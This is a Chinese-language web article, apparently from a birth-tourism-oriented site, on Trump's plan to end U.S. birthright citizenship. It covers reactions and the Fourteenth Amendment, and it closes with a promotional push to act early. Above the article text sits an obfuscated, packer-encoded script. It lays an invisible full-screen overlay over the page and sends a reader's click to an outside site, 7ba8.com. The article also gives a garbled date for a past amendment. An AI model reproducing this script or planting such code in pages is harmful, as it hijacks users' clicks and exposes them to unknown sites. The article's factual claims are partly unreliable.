“出生在美国就是美国人？以前是，但以后就不一定是了”

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>自从特朗普周日接受采访时表示，将会签署行政命令，禁止非法移民在美国出生的子女获得公民权。“我们是世界上唯一一个有人进来生孩子，这个孩子就可以自然成为美国公民的国家”“这太荒谬了，它必须被终结。”“赴美生子产业要凉，出生在美国就是美国人？以前是，但以后就不一定是了！”真的会这样吗？各界人士及其很多网友的说法从侧面似乎反应出特朗普这一言论的可操作性并不大。先来看一下言论出来之后网友们的评论


有的网友说“美国落地公民权是1868年通过的美国宪法第十四修正案。从美国建国以来，成功修宪的办法只有一个，国会参众两院三分之二的议员同意修宪，并且得到全美国50个州四分之三州的批准，50个州的议会三分之二同意召开制宪会议并且四分之三州的人同意修宪。”另一网友说，从1979年美国总统提出宪法修正案到通过实施，历时时间是203年，特朗普想要修宪，任期内是没有可能的。更有一些网友表示，感觉特朗普是美国历史上权力最大的总统，只差扔核弹啦！！

当然，网友的言论不能左右任何事情，但也代表了一批大众的想法，觉得川普这一言论的可行性并不高。再来看一下众议院对总统言论的反应：

1、众议院少数党领袖佩洛西就迅速作出反应，对其进行抨击，称特朗普此时发出此言论，其目的是为了试图在中期选举之前，转移对其他问题的关注。同时，佩洛西还在一份声明中提到，“总统没有权力抹去部分宪法。”

2、众议院议长保罗·瑞安在接受某电台采访时，表示反对。他认为特朗普“显然不能这么做”。他还说道“当奥巴马试图用行政政令改变移民法规时，我们就反对，我们坚信宪法！！！”赴美生子是否真的要凉？已经获得公民身份的美籍宝宝是否会出问题？若特朗普要成功修改宪法取消出生公民权，他必须得到参众两院逾三分之二议员的支持，或得到逾3/4州政府同意。在当前特朗普一系列政策备受两院质疑的情况下，他要修改宪法的难度可想而知。不过，特朗普还可以寻找宪法第14修正案条款表述方面的“漏洞”，变相取消出生公民权。具体而言，若美国最高法院认为美国宪法第14修正案所指的“接受其司法管辖的人”，特指拥有美国公民权或永久居民权的人，那么就能否决未登记在册（未获得美国国籍或永久居住权）父母所生子女在美国出生时自动获得公民身份的权利。“通俗而言，就是美国最高法院认为出生公民权条款不适用非法移民或外国人（合法进入美国）在美国出生的子女，因为他们不归美国管辖。”不过，要改变这种见解，难度同样不小。长期以来，美国社会对“接受其司法管辖的人”的理解，就是“除了外交官外，身在美国的人”。这里小编只能说，未来是否特朗普能否撬动美国选民支持这个想法还未可知，但是可以预见的是，要说服各方再到达落实执行，难度肯定很大，时间也会很久。小编在这里只能建议，在时间允许的情况下，还是宜早不宜晚，可能你稍微一犹豫，也许你的将来就没有改变未来命运的“第二个选择”了！而对于已经获得美国身份的美宝，则完全不需要担心，毕竟赴美生子由来已久，“翻旧账”这事儿殃及的人群太多，美国政府还是要考虑下的。